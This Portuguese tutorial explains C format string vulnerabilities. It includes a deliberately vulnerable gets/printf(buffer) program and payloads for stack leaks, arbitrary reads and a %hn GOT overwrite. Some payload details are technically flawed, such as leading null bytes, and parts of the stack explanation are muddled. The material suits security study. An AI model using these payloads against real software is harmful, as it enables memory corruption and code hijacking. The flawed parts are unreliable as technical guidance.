Format Strings
Em C, as funções printf, fprintf ou qualquer outras parecidas recebem Format Specifiers e colocam variáveis nos lugares deles para imprimir ao usuário.
int value = 1205;
printf("%x %x %x", value, value, value);
// Saída: 4b5 4b5 4b5
Mas e se não tivermos argumentos o suficiente para todos os format specifiers?
int value = 1205;
printf("%x %x %x", value);
// Saída: 4b5 5659b000 565981b0
O printf espera a mesma quantidade de parâmetros que Format Specifiers, e apenas puxa esses parâmetros da stack. Se não há parâmetros suficientes na stack, a função vai pegar os próximos valores, vazando endereços da stack.
Aplicando Format Strings
Temos o seguinte programa em x86:
#include <stdio.h>
int main(void) {
char buffer[30];
gets(buffer);
printf(buffer);
return 0;
}
Input: %x %x %x %x %x
Output: f7f74080 0 5657b1c0 782573fc 20782520
────────────────[ STACK ]────────────────
00:0000│ esp 0xffffcf10 —▸ 0xffffcf28 ◂— '%x %x %x %x %x'
01:0004│-0e4 0xffffcf14 —▸ 0xf7d843ac ◂— 0x74656e00
02:0008│-0e0 0xffffcf18 —▸ 0x8048288 ◂— '__libc_start_main'
03:000c│-0dc 0xffffcf1c —▸ 0x804918c (main+26) ◂— add ebx, 0x2e74
04:0010│-0d8 0xffffcf20 ◂— 0x7b1ea71
05:0014│-0d4 0xffffcf24 ◂— 0
06:0018│-0d0 0xffffcf28 ◂— '%x %x %x %x %x'
07:001c│-0cc 0xffffcf2c ◂— 'x %x %x %x'
Veja que o que foi vazado foi o primeiro endereço a partir de esp em diante: esp+0x4, esp+0x8,...
Fluxo do printf:
- printf espera parâmetros após o formato na Stack
- O primeiro parâmetro (format string) está no topo da pilha no momento da chamada
- Os parâmetros seguintes (que deveriam ser os valores para %x) estariam imediatamente após
Para chamar printf(buffer), o compilador precisa:
- Empurrar os parâmetros na pilha
- Chamar a função
Exemplo de preparo de chamada de printf("%d %d", a, b):
; Supondo que buffer esteja em [ebp-30]
push b (34) ← terceiro parâmetro
push a (99) ← segundo parâmetro
lea eax, [ebp-30] ; eax recebe endereço do buffer (que contém "%x %x %x %x %x")
push eax ← primeiro parâmetro
call printf ; push return address (stack), jump printf (rip)
Após push a, push b, push eax, teremos a stack desse jeito:
(endereços altos)
+------------------+
| ret. add printf |
+------------------+
| ebp salvo | ← EBP
+------------------+
| buffer[29] | \
| ... | | buffer (variável local)
| buffer[0]="%x" | /
+------------------+
| b | ← ESP+12 (onde 2º %d vai buscar)
+------------------+
| a | ← ESP+8 (onde 1º %d vai buscar)
+------------------+
| 1 Parâmetro | ← ESP+4
+------------------+
| ponteiro p/ buffer| ← ESP APONTA AQUI! (primeiro parâmetro do printf)
+------------------+
(endereços baixos)
Após dar call printf, agora estamos no Stack Frame da função printf:
(endereços altos)
+-------------------+
| ... | ↑
+-------------------+
| end. retorno main |
+-------------------+
| ebp salvo | ← EBP da main (antes do printf)
+-------------------+
| buffer[29] | \
| ... | | Format String ← região local da main (antes do printf)
| buffer[0]="%x" | /
+-------------------+
| ??? | ← EBP+16 (onde 2º %d vai buscar)
+-------------------+
| ??? | ← EBP+12 (onde 1º %d vai buscar)
+-------------------+
| ponteiro p/ buffer| ← EBP+8 do printf (Format String, 1º Parâmetro do printf)
+-------------------+
| ret. add printf | ← EBP+4 do printf
+-------------------+
| ebp salvo (printf)| ← EBP do printf
+-------------------+
| vars locais printf|
+-------------------+ ← ESP dentro do printf
(endereços baixos)
A vulnerabilidade de format string pode vazar TODA a região da pilha, não importa se a variável tem "relação" com o printf ou não. Isso pois ela permite ver desde o ESP até o EBP da main (função que chamou printf).
Se pensarmos como blocos, um printf("%x") imprime o conteúdo do primeiro bloco depois de ESP.
Diferença entre 32-bit e 64-bit
x86 (32-bit)
- Argumentos são passados na stack
- printf vai buscar o valor para
%xdo próximo endereço na stack - Isso seria aproximadamente ESP+4 (considerando o endereço de retorno na stack)
Antes de chamar printf:
ESP → endereço de retorno
ESP+4 → possivelmente o primeiro argumento (se houvesse)
ESP+8 → segundo argumento, etc.
Quando printf("%x") é chamado:
- printf espera encontrar o valor para %x em ESP+4
- Mas ESP+8 contém o endereço de retorno ou lixo
EBP+0 → RBP antigo
EBP+4 → endereço de retorno
ESP+8 → possivelmente o primeiro argumento (se houvesse)
ESP+12 → segundo argumento, etc.
x86-64 (64-bit)
- Os primeiros argumentos são passados em registradores
printfvai primeiro olhar nos registradores que armazenam parâmetros (RDI,RSI,RDX,RCX,R8,R9)- Só depois busca na stack
Lembrando a ordem de passagem de argumentos para registradores:
RDI(Endereço da Format String)RSI(Parâmetro 1)RDX(Parâmetro 2)RCX(...)R8R9- Stack (RSP+8, RSP+16, ...)
Se usarmos printf("%x"), veremos o que há de conteúdo no registrador RSI, que pode ser lixo de memória ou valor usado anteriormente pela função que fez a call.
Isso nem sempre é muito útil. Mas se usarmos printf("%x %x %x %x %x %x %x"), temos:
%x 1 → RSI (2º registrador)
%x 2 → RDX (3º registrador)
%x 3 → RCX (4º registrador)
%x 4 → R8 (5º registrador)
%x 5 → R9 (6º registrador)
%x 6 → Stack (RSP+8) ← AQUI COMEÇA A STACK!
%x 7 → Stack (RSP+16)
Tipos de Format Strings
%x- Imprime conteúdo do bloco de memória em hexadecimal.%pfaz a mesma coisa, mas coloca0xna frente.
printf("%x"); // Vaza 4 bytes da stack
printf("%08x"); // Vaza com padding (8 dígitos)
%s- Imprime string até null byte. Ao receber um bloco da stack como parâmetro, tenta interpretar o conteúdo do bloco como ponteiro, indo até esse endereço e imprimindo o conteúdo como string.- Se argumento for endereço válido - Lê até null byte
- Se for endereço inválido - Segmentation fault
- Se controlarmos o argumento, podemos ler a string de qualquer endereço (BOF - Variável)
printf("%s", 0x404000); // Lê string do endereço 0x404000
printf("%s"); // Tenta ler endereço da stack como ponteiro
%n- Escreve o número de bytes impressos até agora no endereço dado. Não imprime texto, mas escreve em um endereço de memória.%n- Escreve int (4 bytes)%hn- Escreve short (2 bytes)%hhn- Escreve char (1 byte)
printf("%100x%n", 0, &var); // Escreve 100 em &var
// (você pode usar isso para escrever o valor que quiser no bloco de memória)
Exemplo de payload
Exemplo 1:
# 1. Reconhecimento: Onde está nosso input? (encontrar os AAAA = 0x41414141)
AAAA.%x.%x.%x.%x.%x.%x
# 2. Leak de endereços (bypass ASLR)
%p.%p.%p.%p.%p.%p.%p
# 3. Arbitrary Read: ler de 0x404000
# (primeiro colocar 0x404000 no buffer)
\x00\x40\x40\x00.%s
# 4. Arbitrary Write: sobrescrever GOT entry
# Escrever 0xdeadbeef em 0x404020
# Usando %hn para write parcial
\x20\x40\x40\x00\x00\x00\x00\x00 # addr_low (0x404020)
\x22\x40\x40\x00\x00\x00\x00\x00 # addr_high (0x404022)
%.48863x # Padding para 0xbeef
%7$hn # Write para addr_low
%.8126x # Padding para 0xdead
%8$hn # Write para addr_high
- Descobrimos que nosso input/buffer é armazenado no 7º argumento que o
printfdá %7$hn: Acessa o 7º "argumento" (primeiro endereço:0x404020)- Escreve o número de bytes impressos até agora (48879 =
0xbeef) - No endereço
0x404020
- Escreve o número de bytes impressos até agora (48879 =
%8$hn: Acessa o 8º "argumento" (segundo endereço: 0x404022)- Escreve o total de bytes impressos (57005 =
0xdead) - No endereço
0x404022
- Escreve o total de bytes impressos (57005 =